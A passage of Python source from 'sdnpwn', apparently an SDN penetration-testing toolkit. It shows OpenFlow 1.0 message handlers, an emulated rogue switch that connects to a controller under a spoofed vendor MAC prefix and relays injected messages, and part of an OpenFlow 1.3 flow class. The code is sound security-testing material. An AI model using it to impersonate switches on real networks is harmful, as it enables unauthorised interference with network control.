ActionType.OFPAT_SET_DL_SRC: (lambda action: ("\"OFPAT_SET_DL_SRC\": \"MAC " + str(action.dl_addr) + "\"")), 119 | ActionType.OFPAT_SET_DL_DST: (lambda action: ("\"OFPAT_SET_DL_DST\": \"MAC " + str(action.dl_addr) + "\"")), 120 | ActionType.OFPAT_SET_NW_SRC: (lambda action: ("\"OFPAT_SET_NW_SRC\": \"IP " + str(action.nw_addr) + "\"")), 121 | ActionType.OFPAT_SET_NW_DST: (lambda action: ("\"OFPAT_SET_NW_DST\": \"IP " + str(action.nw_addr) + "\"")), 122 | ActionType.OFPAT_SET_NW_TOS: (lambda action: ("\"OFPAT_SET_NW_TOS\": \"Service " + str(action.nw_tos) + "\"")), 123 | ActionType.OFPAT_SET_TP_SRC: (lambda action: ("\"OFPAT_SET_TP_SRC\": \"Layer 4 Port " + str(action.tp_port) + "\"")), 124 | ActionType.OFPAT_SET_TP_DST: (lambda action: ("\"OFPAT_SET_TP_DST\": \"Layer 4 Port " + str(action.tp_port) + "\"")), 125 | ActionType.OFPAT_ENQUEUE: (lambda action: ("\"OFPAT_ENQUEUE\": \"Port " + self.portToString(action.port) + ", Queue ID " + str(action.queue_id) + "\"")), 126 | ActionType.OFPAT_VENDOR: (lambda action: ("\"OFPAT_VENDOR\": \"Vendor action " + str(action.vendor) + "\"")), 127 | }[int(str(action.action_type))] 128 | 129 | def matchToString(self, match): 130 | return ("" + 131 | "\"in_port\": \"" + (str(match.in_port) if match.in_port != 0 else "*") + "\", " + 132 | "\"dl_src\": \"" + (str(match.dl_src) if match.dl_src != "00:00:00:00:00:00" else "*") + "\", " + 133 | "\"dl_dst\": \"" + (str(match.dl_dst) if match.dl_dst != "00:00:00:00:00:00" else "*") + "\", " + 134 | "\"dl_vlan\": \"" + (str(match.dl_vlan) if match.dl_vlan != 0 else "*") + "\", " + 135 | "\"dl_vlan_pcp\": \"" + (str(match.dl_vlan_pcp) if match.dl_vlan_pcp != 0 else "*") + "\", " + 136 | "\"dl_type\": \"" + ("0x" + str(match.dl_type.pack())[2:-1].replace("\\x", "") if match.dl_type != 0 else "*") + "\", " + 137 | "\"nw_tos\": \"" + ("0x" + str(match.dl_type.pack())[2:-1].replace("\\x", "") if match.dl_type != 0 else "*") + "\", " + 138 | "\"nw_proto\": \"" + ("0x" + str(match.nw_proto.pack())[2:-1].replace("\\x", "") if match.nw_proto != 0 else "*") + "\", " + 139 | "\"nw_src\": \"" + (str(match.nw_src) + "/" + str(match.nw_src.max_prefix) if match.nw_src != "0.0.0.0" else "*") + "\", " + 140 | "\"nw_dst\": \"" + (str(match.nw_dst) + "/" + str(match.nw_dst.max_prefix) if match.nw_dst != "0.0.0.0" else "*") + "\", " + 141 | "\"tp_src\": \"" + (str(match.tp_src) if match.tp_src != 0 else "*") + "\", " + 142 | "\"tp_dst\": \"" + (str(match.tp_dst) if match.tp_dst != 0 else "*") + "\"" + 143 | "") 144 | -------------------------------------------------------------------------------- /modules/sdnpwn/ofv10/sdnpwn_ofv10_handlers.py: -------------------------------------------------------------------------------- 1 | 2 | import modules.sdnpwn.sdnpwn_common as sdnpwn 3 | 4 | from scapy.all import * 5 | 6 | from pyof.foundation.basic_types import DPID, UBInt8, UBInt16, UBInt32, UBInt64, Pad, HWAddress 7 | 8 | #v0x01 is openflow version 9 | from pyof.v0x01.symmetric.hello import Hello 10 | from pyof.v0x01.controller2switch.features_reply import FeaturesReply 11 | from pyof.v0x01.controller2switch.barrier_reply import BarrierReply 12 | from pyof.v0x01.controller2switch.packet_out import PacketOut 13 | from pyof.v0x01.controller2switch.flow_mod import * 14 | from pyof.v0x01.controller2switch.common import * 15 | from pyof.v0x01.symmetric.echo_reply import EchoReply 16 | from pyof.v0x01.symmetric.vendor_header import VendorHeader 17 | from pyof.v0x01.controller2switch.stats_request import StatsRequest 18 | from pyof.v0x01.controller2switch.stats_reply import StatsReply 19 | from pyof.v0x01.controller2switch.get_config_reply import GetConfigReply 20 | from pyof.v0x01.common.phy_port import PhyPort, PortConfig, PortState, Port 21 | from pyof.v0x01.common.header import Header, Type 22 | from pyof.v0x01.common.flow_match import * 23 | from pyof.v0x01.common.action import ActionType, ActionHeader 24 | from pyof.foundation.base import GenericMessage 25 | 26 | from random import randint 27 | import socket 28 | from struct import pack, unpack 29 | 30 | from modules.sdnpwn.sdnpwn_lldp import * 31 | from modules.sdnpwn.ofv10.sdnpwn_ofv10_flow import * 32 | 33 | ''' 34 | 35 | Class to define and implement Openflow v1.0 message handlers 36 | 37 | ''' 38 | 39 | class OFv10MessageHandler(): 40 | 41 | version = 1.0 42 | save_connection_data = False 43 | 44 | def __init__(self): 45 | self.version = 1.0 46 | self.save_connection_data = False 47 | 48 | def get_response(self, sock): 49 | try: 50 | ofHeader = Header() 51 | replyHeader = sock.recv(8) 52 | ofHeader.unpack(replyHeader) 53 | replyBody = sock.recv(ofHeader.length-8) 54 | return (ofHeader, replyBody) 55 | except Exception as e: 56 | if(verbose == True): 57 | print("Error: " + str(e)) 58 | return None 59 | 60 | def autohandle_messages(self, device, header, body, verbose=False): 61 | if(header.message_type == None): 62 | device.comm_sock.close() 63 | 64 | action = { 65 | 0: self.handle_hello, 66 | 1: self.handle_error, 67 | 2: self.handle_echo_request, 68 | 3: self.handle_echo_response, 69 | 4: self.handle_vendor_message, 70 | 5: self.handle_feature_request, 71 | 6: self.handle_feature_response, 72 | 7: self.handle_config_request, 73 | 8: self.handle_config_response, 74 | 9: self.handle_set_config, 75 | 10: self.handle_packet_in, 76 | 11: self.handle_flow_removed, 77 | 12: self.handle_port_status, 78 | 13: self.handle_packet_out, 79 | 14: self.handle_flow_mod, 80 | 15: self.handle_port_mod, 81 | 16: self.handle_stats_request, 82 | 17: self.handle_stats_response, 83 | 18: self.handle_barrier_request, 84 | 19: self.handle_barrier_response, 85 | 20: self.handle_queue_config_request, 86 | 21: self.handle_queue_config_response 87 | }[(header.message_type & 0xFF)] 88 | 89 | if(callable(action)): 90 | action(device, header, body, verbose) 91 | 92 | def handle_hello(self, device, header, body, verbose): 93 | if(verbose): 94 | print("Got Hello") 95 | 96 | def handle_error(self, device, header, body, verbose): 97 | if(verbose): 98 | print("Got Error") 99 | 100 | def handle_echo_request(self, device, header, body, verbose): 101 | if(verbose): 102 | print("Got EchoReq") 103 | 104 | ofEchoReply = EchoReply(xid=header.xid) 105 | device.comm_sock.send(ofEchoReply.pack()) 106 | if(verbose): 107 | print("Sent EchoRes") 108 | 109 | def handle_echo_response(self, device, header, body, verbose): 110 | if(verbose): 111 | print("Got EchoRes") 112 | 113 | def handle_vendor_message(self, device, header, body, verbose): 114 | if(verbose): 115 | print("Got Vendor Message") 116 | ofVendor = VendorHeader(xid=header.xid, vendor=device.switch_vendor_id) 117 | ofVendor.header.length = 20 118 | vendorBytes = bytearray(ofVendor.pack()) 119 | vendorBytes[3] += 8 120 | vendorBytes += b'\x00\x00\x00\x0b\x00\x00\x00\x01' #\x00\x00\x23\x20 121 | device.comm_sock.send(vendorBytes) 122 | if(verbose): 123 | print("Sent Vendor Message") 124 | 125 | def handle_feature_request(self, device, header, body, verbose): 126 | if(verbose): 127 | print("Got FeatureReq") 128 | ofFeaturesReply = FeaturesReply(xid=header.xid, datapath_id=DPID(device.switch_features["dpid"]), n_buffers=UBInt32(device.switch_features["no_of_buffers"]), n_tables=UBInt32(device.switch_features["no_of_tables"]), capabilities=UBInt32(device.switch_features["capabilities"]), actions=UBInt32(device.switch_features["actions"]), ports=device.switch_features["ports"]) 129 | device.comm_sock.send(ofFeaturesReply.pack()) 130 | if(verbose): 131 | print("Sent FeatureRes") 132 | 133 | def handle_feature_response(self, device, header, body, verbose): 134 | if(verbose): 135 | print("Got FeatureRes") 136 | 137 | def handle_config_request(self, device, header, body, verbose): 138 | if(verbose): 139 | print("Got ConfigReq") 140 | ofConfigRes = GetConfigReply(xid=header.xid, flags=UBInt16(int.from_bytes(device.switch_config["flags"], byteorder='big', signed=False)), miss_send_len=UBInt16(int.from_bytes(device.switch_config["miss_send_len"], byteorder='big', signed=False))) 141 | ofConfigRes.header.message_type = 8 142 | device.comm_sock.send(ofConfigRes.pack()) 143 | if(verbose): 144 | print("Sent ConfigRes") 145 | 146 | def handle_config_response(self, device, header, body, verbose): 147 | if(verbose): 148 | print("Got ConfigRes") 149 | 150 | def handle_set_config(self, device, header, body, verbose): 151 | if(verbose): 152 | print("Got SetConfig") 153 | device.setConfig(flags=bytearray(body)[0:2], miss_send_len=bytearray(body)[2:4]) 154 | 155 | def handle_packet_in(self, device, header, body, verbose): 156 | if(verbose): 157 | print("Got PacketIn") 158 | 159 | def handle_flow_removed(self, device, header, body, verbose): 160 | if(verbose): 161 | print("Got FlowRemoved") 162 | 163 | def handle_port_status(self, device, header, body, verbose): 164 | if(verbose): 165 | print("Got PortStatus") 166 | 167 | def handle_packet_out(self, device, header, body, verbose): 168 | if(verbose): 169 | print("Got PacketOut") 170 | packetOut = PacketOut() 171 | packetOut.unpack(body) 172 | tempFlow = Flow() 173 | try: 174 | pkt = Ether(packetOut.data.pack()) 175 | if(verbose): 176 | pkt.show() 177 | if(device.forward_packet_out_payload == True): 178 | if(device.forward_packet_out_port_filter is not None): 179 | if(("Port " + str(device.forward_packet_out_port_filter)) in tempFlow.actionsToString(packetOut.actions)): 180 | sendp(pkt, iface=device.forward_packet_out_iface) 181 | else: 182 | sendp(pkt, iface=device.forward_packet_out_iface) 183 | 184 | except Exception as e: 185 | sdnpwn.message("Got error handling packet out.", sdnpwn.WARNING) 186 | sdnpwn.message(str(e), sdnpwn.VERBOSE) 187 | 188 | def handle_flow_mod(self, device, header, body, verbose): 189 | if(verbose): 190 | print("Got FlowMod") 191 | flowMod = FlowMod() 192 | flowMod.unpack(body) 193 | flow = Flow(match=flowMod.match, cookie=flowMod.cookie, 194 | idle_timeout=flowMod.idle_timeout, hard_timeout=flowMod.hard_timeout, 195 | priority=flowMod.priority, buffer_id=flowMod.buffer_id, out_port=flowMod.out_port, 196 | flags=flowMod.flags, actions=flowMod.actions 197 | ) 198 | 199 | if(flowMod.command == FlowModCommand.OFPFC_ADD): 200 | sdnpwn.message("Adding New Flow ", sdnpwn.NORMAL) 201 | device.switch_flows[str(flow.cookie)] = flow 202 | elif(flowMod.command == FlowModCommand.OFPFC_MODIFY): 203 | sdnpwn.message("Modifying Flow ", sdnpwn.NORMAL) 204 | device.switch_flows[str(flow.cookie)] = flow 205 | elif(flowMod.command == FlowModCommand.OFPFC_MODIFY_STRICT): 206 | sdnpwn.message("Modifying Flow (Strict) ", sdnpwn.NORMAL) 207 | device.switch_flows[str(flow.cookie)] = flow 208 | elif(flowMod.command == FlowModCommand.OFPFC_DELETE): 209 | sdnpwn.message("Deleting Flow ", sdnpwn.NORMAL) 210 | if(flow.cookie == 0): 211 | device.switch_flows = {} 212 | else: 213 | del device.switch_flows[str(flow.cookie)] 214 | elif(flowMod.command == FlowModCommand.OFPFC_DELETE_STRICT): 215 | sdnpwn.message("Deleting Flow (Strict) ", sdnpwn.NORMAL) 216 | if(flow.cookie == 0): 217 | device.switch_flows = {} 218 | else: 219 | del device.switch_flows[str(flow.cookie)] 220 | flow_string = flow.toString() 221 | print(flow_string) 222 | if(self.save_connection_data): 223 | with open("flows", 'a') as f: 224 | f.write(flow_string + "\n") 225 | 226 | 227 | def handle_port_mod(self, device, header, body, verbose): 228 | if(verbose): 229 | print("Got PortMod") 230 | 231 | def handle_stats_request(self, device, header, body, verbose): 232 | if(verbose): 233 | print("Got StatsReq") 234 | ofStatsReq = StatsRequest() 235 | ofStatsReq.unpack(body) 236 | if(verbose): 237 | print(ofStatsReq.body_type) 238 | if(ofStatsReq.body_type == 0): # Description flag 239 | descReply = DescStats(mfr_desc=device.switch_desc["switch_mfr_desc"], 240 | hw_desc=device.switch_desc["switch_hw_desc"], 241 | sw_desc=device.switch_desc["switch_sw_desc"], 242 | serial_num=device.switch_desc["switch_serial_num"], 243 | dp_desc=device.switch_desc["switch_dp_desc"] 244 | ) 245 | statsReplyBody = descReply.pack() 246 | ofStatsReply = StatsReply(xid=header.xid, body_type=ofStatsReq.body_type, flags=UBInt16(0x00000000), body=statsReplyBody) 247 | device.comm_sock.send(ofStatsReply.pack()) 248 | 249 | elif(ofStatsReq.body_type == 1): # Flow flag 250 | if(verbose): 251 | print("Got flow stats req") 252 | # There may be an issue with the library here. Getting "Pack error: UBInt16 could not pack NoneType = None.". Must investigate further 253 | ''' 254 | ofFlowStatsReq = FlowStatsRequest() 255 | ofFlowStatsReq.unpack(body) 256 | 257 | for f in device.switch_flows: 258 | flowStats = FlowStats(length=device.switch_flows[f].length, 259 | table_id=device.switch_flows[f].table_id, 260 | match=ofFlowStatsReq.match, 261 | duration_sec=device.switch_stats["flow"]["duration_sec"], 262 | duration_nsec=device.switch_stats["flow"]["duration_nsec"], 263 | priority=device.switch_flows[f].priority, 264 | idle_timeout=device.switch_flows[f].idle_timeout, 265 | hard_timeout=device.switch_flows[f].hard_timeout, 266 | cookie=device.switch_flows[f].cookie, 267 | packet_count=device.switch_stats["flow"]["packet_count"], 268 | byte_count=device.switch_stats["flow"]["byte_count"], 269 | actions=device.switch_flows[f].actions 270 | ) 271 | statsReplyBody = flowStats.pack() 272 | ofStatsReply = StatsReply(xid=header.xid, body_type=ofStatsReq.body_type, flags=UBInt16(0x00000000), body=statsReplyBody) 273 | device.comm_sock.send(ofStatsReply.pack()) 274 | ''' 275 | 276 | elif(ofStatsReq.body_type == 2): # Aggregate flag 277 | aggReply = AggregateStatsReply(packet_count=device.switch_stats["aggregate"]["packet_count"], byte_count=device.switch_stats["aggregate"]["byte_count"], flow_count=device.switch_stats["aggregate"]["flow_count"]) 278 | statsReplyBody = aggReply.pack() 279 | ofStatsReply = StatsReply(xid=header.xid, body_type=ofStatsReq.body_type, flags=UBInt16(0x00000000), body=statsReplyBody) 280 | device.comm_sock.send(ofStatsReply.pack()) 281 | 282 | elif(ofStatsReq.body_type == 3): # Table flag 283 | if(verbose): 284 | print("Got table") 285 | 286 | elif(ofStatsReq.body_type == 4): # Port flag 287 | if(verbose): 288 | print("Got port") 289 | ofStatsReqBody = PortStatsRequest() 290 | ofStatsReqBody.unpack(body) 291 | if(ofStatsReqBody.port_no == ofStatsReq.body_type): 292 | # It wants stats from all ports 293 | statsReplyBody = b'' 294 | for p in device.switch_stats["port"]: 295 | portStats = device.switch_stats["port"][p] 296 | statsReplyBody += portStats.pack() 297 | ofStatsReply = StatsReply(xid=header.xid, body_type=ofStatsReq.body_type, flags=UBInt16(0x00000000), body=statsReplyBody) 298 | device.comm_sock.send(ofStatsReply.pack()) 299 | else: 300 | # Just one port 301 | portStats = device.switch_stats["port"][str(ofStatsReqBody.port_no)] 302 | statsReplyBody = portStats.pack() 303 | ofStatsReply = StatsReply(xid=header.xid, body_type=ofStatsReq.body_type, flags=UBInt16(0x00000000), body=statsReplyBody) 304 | device.comm_sock.send(ofStatsReply.pack()) 305 | 306 | elif(ofStatsReq.body_type == 5): # Queue flag 307 | if(verbose): 308 | print("Got Queue") 309 | ofStatsReqBody = QueueStatsRequest() 310 | ofStatsReqBody.unpack(body) 311 | if(ofStatsReqBody.port_no == ofStatsReq.body_type): 312 | # Wants stats for all ports 313 | statsReplyBody = b'' 314 | for q in device.switch_stats["queue"]: 315 | if(verbose): 316 | print(statsReplyBody) 317 | queueStats = device.switch_stats["queue"][q] 318 | statsReplyBody += queueStats.pack() 319 | ofStatsReply = StatsReply(xid=header.xid, body_type=ofStatsReq.body_type, flags=UBInt16(0x00000000), body=statsReplyBody) 320 | device.comm_sock.send(ofStatsReply.pack()) 321 | else: 322 | # Just one port 323 | queueStats = device.switch_stats["queue"][str(ofStatsReqBody.port_no) + ":" + str(ofStatsReqBody.queue_id)] 324 | statsReplyBody = queueStats.pack() 325 | ofStatsReply = StatsReply(xid=header.xid, body_type=ofStatsReq.body_type, flags=UBInt16(0x00000000), body=statsReplyBody) 326 | device.comm_sock.send(ofStatsReply.pack()) 327 | 328 | if(verbose): 329 | print("Sent StatsRes") 330 | 331 | def handle_stats_response(self, device, header, body, verbose): 332 | if(verbose): 333 | print("Got StatsRes") 334 | 335 | def handle_barrier_request(self, device, header, body, verbose): 336 | if(verbose): 337 | print("Got BarrierReq") 338 | ofBarrierReply = BarrierReply(xid=header.xid) 339 | device.comm_sock.send(ofBarrierReply.pack()) 340 | if(verbose): 341 | print("Sent BarrierRes") 342 | 343 | def handle_barrier_response(self, device, header, body, verbose): 344 | if(verbose): 345 | print("Got BarrierRes") 346 | 347 | def handle_queue_config_request(self, device, header, body, verbose): 348 | if(verbose): 349 | print("Got QueueGetConfigReq") 350 | 351 | def handle_queue_config_response(self, device, header, body, verbose): 352 | if(verbose): 353 | print("Got QueueGetConfigRes") 354 | -------------------------------------------------------------------------------- /modules/sdnpwn/ofv10/sdnpwn_ofv10_switch.py: -------------------------------------------------------------------------------- 1 | 2 | import modules.sdnpwn.sdnpwn_common as sdnpwn 3 | 4 | from pyof.foundation.basic_types import DPID, UBInt8, UBInt16, UBInt32, UBInt64, Pad, HWAddress 5 | from pyof.v0x01.common.header import Header, Type 6 | from pyof.v0x01.symmetric.hello import Hello 7 | from pyof.v0x01.controller2switch.common import * 8 | from pyof.v0x01.common.phy_port import PhyPort, PortConfig, PortState, Port 9 | 10 | from modules.sdnpwn.ofv10.sdnpwn_ofv10_handlers import OFv10MessageHandler 11 | 12 | from random import randint 13 | import socket 14 | from struct import pack, unpack 15 | 16 | 17 | ''' 18 | 19 | Class to define and implement a partially functioning Openflow switch 20 | 21 | ''' 22 | 23 | 24 | class OpenFlowV10Switch(): 25 | switch_config = None 26 | switch_vendor_id = None 27 | switch_desc = None 28 | switch_features = None 29 | switch_ports = None 30 | switch_vendor_ouid = None 31 | comm_sock = None 32 | autohandleMessages = True 33 | switch_stats = None 34 | switch_flows = None 35 | enable_output = None 36 | save_connection_data = None 37 | forward_packet_out_payload = None 38 | forward_packet_out_iface = None 39 | forward_packet_out_port_filter = None 40 | 41 | def __init__(self): 42 | self.switch_config = {} 43 | self.switch_vendor_id = 0 44 | self.switch_vendor_ouid = "5C:16:C7:" #Big switch networks 45 | self.switch_desc = {} 46 | self.switch_features = {} 47 | self.switch_ports = [] 48 | self.switch_stats = {} 49 | self.switch_flows = {} 50 | 51 | self.comm_sock = None 52 | self.auto_handle_Messages = True 53 | self.enable_output = False 54 | self.save_connection_data = False 55 | self.forward_packet_out_payload = False 56 | self.forward_packet_out_iface = None 57 | self.forward_packet_out_port_filter = None 58 | 59 | self.__initDefaults__() 60 | 61 | def __initDefaults__(self): 62 | ''' 63 | Called on initialisation. Will set default values for statistics. 64 | ''' 65 | self.switch_stats["aggregate"] = {} 66 | self.switch_stats["aggregate"]["packet_count"] = 0 67 | self.switch_stats["aggregate"]["byte_count"] = 0 68 | self.switch_stats["aggregate"]["flow_count"] = 0 69 | 70 | self.switch_stats["port"] = {} 71 | 72 | self.switch_stats["flow"] = {} 73 | 74 | self.switch_stats["queue"] = {} 75 | 76 | def setVendorID(self, vid): 77 | self.switch_vendor_id = vid 78 | 79 | def setVendorOUID(self, ouid): 80 | self.switch_vendor_ouid = ouid 81 | 82 | def setDescription(self, mfr_desc="", hw_desc="", sw_desc="", serial_num="", dp_desc=""): 83 | self.switch_desc["switch_mfr_desc"] = mfr_desc 84 | self.switch_desc["switch_hw_desc"] = hw_desc 85 | self.switch_desc["switch_sw_desc"] = sw_desc 86 | self.switch_desc["switch_serial_num"] = serial_num 87 | self.switch_desc["switch_dp_desc"] = dp_desc 88 | 89 | def setConfig(self, flags="", miss_send_len=""): 90 | self.switch_config["flags"] = flags 91 | self.switch_config["miss_send_len"] = miss_send_len 92 | 93 | def setFeatures(self, dpid="", no_of_buffers=1, no_of_tables=1, capabilities=0x00000000, actions=0, ports=[]): 94 | self.switch_features["dpid"] = dpid 95 | self.switch_features["no_of_buffers"] = no_of_buffers 96 | self.switch_features["no_of_tables"] = no_of_tables 97 | self.switch_features["capabilities"] = capabilities 98 | self.switch_features["actions"] = actions 99 | self.switch_features["ports"] = ports 100 | 101 | def loadConfiguration(self, config): 102 | self.switch_vendor_id = config["vendor_id"] 103 | self.switch_desc["switch_mfr_desc"] = config["description"]["manufacturer_description"] 104 | self.switch_desc["switch_hw_desc"] = config["description"]["hardware_description"] 105 | self.switch_desc["switch_sw_desc"] = config["description"]["software_description"] 106 | self.switch_desc["switch_serial_num"] = config["description"]["serial_number"] 107 | self.switch_desc["switch_dp_desc"] = config["description"]["dataplane_description"] 108 | self.switch_features["dpid"] = config["features"]["dataplane_id"] 109 | self.switch_features["no_of_buffers"] = config["features"]["number_of_buffers"] 110 | self.switch_features["no_of_tables"] = config["features"]["number_of_tables"] 111 | self.switch_features["capabilities"] = config["features"]["capabilities"] 112 | self.switch_features["actions"] = config["features"]["actions"] 113 | self.switch_features["ports"] = [] 114 | if(isinstance(config["ports"], list)): 115 | for port in config["ports"]: 116 | self.addPort(port["port_no"], port["hardware_address"], port["port_name"], port["port_config"], port["port_state"], port["port_curr"], port["port_advertised"], port["port_supported"], port["port_peer"]) #Need to add config options here 117 | elif(isinstance(config["ports"], int)): 118 | for i in range(config["ports"]): 119 | self.addPort() 120 | else: 121 | sdnpwn.message("Could not load port config. Switch will have no ports.", sdnpwn.WARNING) 122 | 123 | self.switch_stats["flow"] = config["stats"]["flow_stats"] 124 | #print(self.switch_stats["flow"]) 125 | 126 | def addPort(self, port_no=0, hw_addr="", port_name="", port_config=0, port_state=PortState.OFPPS_STP_LISTEN, port_curr=0, port_advertised=0, port_supported=0, port_peer=0): 127 | if(port_no == 0): 128 | port_no = randint(30000,60000) 129 | if(hw_addr == ""): 130 | hw_addr = sdnpwn.generateRandomMacAddress(self.switch_vendor_ouid) 131 | if(port_name == ""): 132 | port_name = "OF Port " + str(port_no) 133 | 134 | initQueueID = randint(30000,65534) 135 | 136 | port = PhyPort(port_no=port_no, 137 | hw_addr=HWAddress(hw_addr), 138 | name=port_name, 139 | #config=PortConfig.OFPC_PORT_DOWN, 140 | #state=PortState.OFPPS_LINK_DOWN, 141 | config=port_config, 142 | state=port_state, 143 | curr=port_curr, 144 | advertised=port_advertised, 145 | supported=port_supported, 146 | peer=port_peer) 147 | self.switch_ports.append(port) 148 | self.switch_features["ports"] = self.switch_ports 149 | self.switch_stats["port"][str(port_no)] = PortStats(port_no=port_no, rx_packets=0, tx_packets=0, rx_bytes=0, tx_bytes=0, 150 | rx_dropped=0, tx_dropped=0, rx_errors=0, tx_errors=0, rx_frame_err=0, 151 | rx_over_err=0, rx_crc_err=0, collisions=0) 152 | 153 | self.switch_stats["queue"][str(port_no) + ":" + str(initQueueID)] = QueueStats(port_no=port_no, queue_id=initQueueID, tx_bytes=0, tx_packets=0, tx_errors=0) 154 | 155 | def connect(self, controllerIP, port): 156 | try: 157 | self.comm_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 158 | self.comm_sock.connect((controllerIP, port)) 159 | except Exception as e: 160 | sdnpwn.message("Problem connecting to " + controllerIP + ":" + str(port), sdnpwn.ERROR) 161 | if(self.save_connection_data): 162 | with open("connection_status", 'w') as f: 163 | f.write("{\"status\": \"connection failed\", \"error\": \"" + str(e) + "\"}\n") 164 | print 165 | return 166 | 167 | sdnpwn.message("Socket connected. Sending OF Hello...", sdnpwn.SUCCESS) 168 | 169 | ofHello = Hello(xid=5) 170 | ofHello.header.xid = 5 171 | self.comm_sock.send(ofHello.pack()) # Send Hello 172 | header = Header() 173 | replyHeader = self.comm_sock.recv(8) 174 | 175 | # Get hello response header & body 176 | header.unpack(replyHeader) 177 | sdnpwn.message("Got " + str(header.message_type), sdnpwn.NORMAL) 178 | sdnpwn.message("Controller base OF version: " + str(header.version), sdnpwn.VERBOSE) 179 | try: 180 | replyBody = self.comm_sock.recv(header.length-8) #Get body but ignore 181 | except: 182 | pass 183 | 184 | sdnpwn.message("Connected to controller", sdnpwn.SUCCESS) 185 | 186 | if(self.save_connection_data): 187 | with open("connection_status", 'w') as f: 188 | f.write("{\"status\": \"connected\", \"of_version\": \"1.0\"}\n") 189 | 190 | if(self.auto_handle_Messages == True): 191 | run = True 192 | of_msg_handler = OFv10MessageHandler() 193 | of_msg_handler.save_connection_data = self.save_connection_data 194 | sdnpwn.message("Handling OpenFlow messages automatically", sdnpwn.NORMAL) 195 | while(run): 196 | #try: 197 | #Get feature request 198 | reply = self.comm_sock.recv(8) 199 | header.unpack(reply) 200 | if(header.length == None): 201 | sdnpwn.message("Got bad OF message. Closing.", sdnpwn.WARNING) 202 | run = False 203 | self.comm_sock.close() 204 | else: 205 | replyBody = self.comm_sock.recv(header.length-8) 206 | try: 207 | of_msg_handler.autohandle_messages(self, header, replyBody, self.enable_output) 208 | except Exception as e: 209 | sdnpwn.message("Error handling OF message", sdnpwn.WARNING) 210 | print(e) 211 | #except Exception as e: 212 | #sdnpwn.message("Socket disconnected", sdnpwn.ERROR) 213 | #print(e) 214 | #self.comm_sock.close() 215 | #break 216 | else: 217 | return True 218 | 219 | def activateRelaySocket(self, port): 220 | hostname = socket.gethostbyname(socket.gethostname()) 221 | listenSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 222 | listenSock.bind(("0.0.0.0", port)) 223 | listenSock.listen(1) 224 | data = b'' 225 | sdnpwn.message("[Relay Socket] Relay port open on port " + str(port) + "", sdnpwn.NORMAL) 226 | while 1: 227 | try: 228 | conn, addr = listenSock.accept() 229 | msgHeader = conn.recv(8) 230 | header = Header() 231 | header.unpack(msgHeader) 232 | sdnpwn.message("[Relay Socket] Got " + str(header.message_type) + " from " + str(addr), sdnpwn.NORMAL) 233 | msgBody = conn.recv(header.length-8) 234 | msgFull = header.pack() + msgBody 235 | print(msgFull) 236 | self.comm_sock.send(msgFull) 237 | except Exception as e: 238 | sdnpwn.message("[Relay socket] Error handling message", sdnpwn.WARNING) 239 | print(e) 240 | listenSock.close() 241 | -------------------------------------------------------------------------------- /modules/sdnpwn/ofv13/sdnpwn_ofv13_flow.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | from pyof.v0x01.controller2switch.common import FlowStats 4 | from pyof.v0x04.common.flow_instructions import * 5 | from pyof.v0x04.common.flow_match import OxmOfbMatchField, Match, MatchType 6 | from pyof.v0x04.controller2switch.group_mod import Group 7 | from pyof.v0x04.common.action import ActionType as ActionType 8 | from pyof.v0x04.common.action import ActionHeader as ActionHeader 9 | from pyof.v0x04.common.port import PortConfig, PortState, Port, PortNo 10 | from pyof.v0x04.common.flow_instructions import ListOfInstruction 11 | 12 | from random import randint 13 | import socket 14 | from struct import pack, unpack 15 | 16 | ''' 17 | 18 | Classes that define Openflow Flows 19 | 20 | ''' 21 | 22 | # Openflow 1.3 Flow 23 | class Flow(): 24 | match = None 25 | cookie = None 26 | command = None 27 | idle_timeout = None 28 | hard_timeout = None 29 | priority = None 30 | buffer_id = None 31 | out_port = None 32 | out_group = None 33 | flags = None 34 | instructions = None 35 | actions = None 36 | 37 | length = None 38 | duration_sec = None 39 | duration_nsec = None 40 | packet_count = None 41 | byte_count = None 42 | 43 | table_id = None 44 | 45 | 46 | def __init__(self, match=None, cookie=0, 47 | idle_timeout=0, hard_timeout=0, priority=0, 48 | buffer_id=0, out_port=PortNo.OFPP_MAX, 49 | out_group=Group.OFPG_ANY, flags=0, instructions=None 50 | ): 51 | self.match = match 52 | self.cookie = cookie 53 | self.idle_timeout = idle_timeout 54 | self.hard_timeout = hard_timeout 55 | self.priority = priority 56 | self.buffer_id = buffer_id 57 | self.out_port = out_port 58 | self.flags = flags 59 | self.instructions = ListOfInstruction() if instructions is None else instructions 60 | 61 | self.length = 0 62 | self.duration_sec = 0 63 | self.duration_nsec = 0 64 | self.packet_count = 0 65 | self.byte_count = 0 66 | 67 | self.table_id = 1 68 | 69 | def getFlowStats(self): 70 | stats = FlowStats(self.length, self.table_id, self.match, 71 | self.duration_sec, self.duration_nsec, self.priority, 72 | self.idle_timeout, self.hard_timeout, self.cookie, 73 | self.packet_count, self.byte_count, self.actions) 74 | 75 | return stats 76 | 77 | def toString(self): 78 | return ("{\"cookie\": " + (str(self.cookie) if self.cookie != 0 else "*") + ", " 79 | "\"idle_timeout\": " + str(self.idle_timeout) + ", " 80 | "\"hard_timeout\": " + str(self.hard_timeout) + ", " 81 | "\"priority\": " + str(self.priority) + ", " 82 | "\"buffer_id\": " + str(self.buffer_id) + ", " 83 | "\"out_port\": \"" + self.portToString(self.out_port) + "\", " 84 | "\"flags\": " + str(self.flags) + ", " 85 | "\"instructions\": " + self.instructionsToString(self.instructions) + ", " 86 | "\"match_type\": " + self.matchTypeToString(self.match) + ", " 87 | "\"match\": " + self.matchToStringWrapper(self.match) + "}" 88 | ) 89 | 90 | def portToString(self, port_no): 91 | try: 92 | port = { 93 | '0xffffff00': "OFPP_MAX", 94 | '0xfffffff8': "OFPP_IN_PORT", 95 | '0xfffffff9': "OFPP_TABLE", 96 | '0xfffffffa': "OFPP_NORMAL", 97 | '0xfffffffb': "OFPP_FLOOD", 98 | '0xfffffffc': "OFPP_ALL", 99 | '0xfffffffd': "OFPP_CONTROLLER", 100 | '0xfffffffe': "OFPP_LOCAL", 101 | '0xffffffff': "OFPP_ANY" 102 | }[str(hex(int(port_no)))] 103 | except: 104 | return str(port_no) 105 | return port 106 | 107 | 108 | def matchTypeToString(self, match): 109 | return { 110 | MatchType.OFPMT_STANDARD: "\"Standard\"", 111 | MatchType.OFPMT_OXM: "\"OpenFlow Extensible Match\"" 112 | }[int(match.match_type)] 113 | 114 | def matchToStringWrapper(self, match): 115 | if(self.matchTypeToString(self.match) == "Standard"): 116 | return "\"Unsupported for this OF version\"" 117 | match_instances = match.oxm_match_fields 118 | 